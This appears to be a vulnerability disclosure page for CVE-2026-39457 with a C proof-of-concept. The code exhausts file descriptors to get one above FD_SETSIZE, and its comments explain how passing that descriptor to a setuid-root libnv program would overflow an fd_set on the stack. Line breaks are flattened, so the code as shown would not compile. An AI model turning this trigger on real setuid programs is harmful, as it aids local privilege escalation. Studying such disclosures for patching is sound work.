CVE-2026-39457

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/select.h> #include <fcntl.h> // PoC Concept for CVE-2026-39457 // This code demonstrates how to trigger the condition by exhausting FDs. int main() { int i; int fds[2000]; // Step 1: Consume file descriptors to push the next one > FD_SETSIZE (1024) for (i = 0; i < 2000; i++) { fds[i] = open("/dev/null", O_RDONLY); if (fds[i] == -1) { perror("open"); break; } } // Assume we pass this high FD to a vulnerable setuid-root application using libnv int vulnerable_fd = fds[1024]; printf("Triggering condition with FD: %d (FD_SETSIZE=%d)\n", vulnerable_fd, FD_SETSIZE); // In a real vulnerable scenario, the application would do: // fd_set set; // FD_ZERO(&set); // FD_SET(vulnerable_fd, &set); // This causes stack corruption if vulnerable_fd >= 1024 // select(vulnerable_fd + 1, &set, NULL, NULL, NULL); return 0; }

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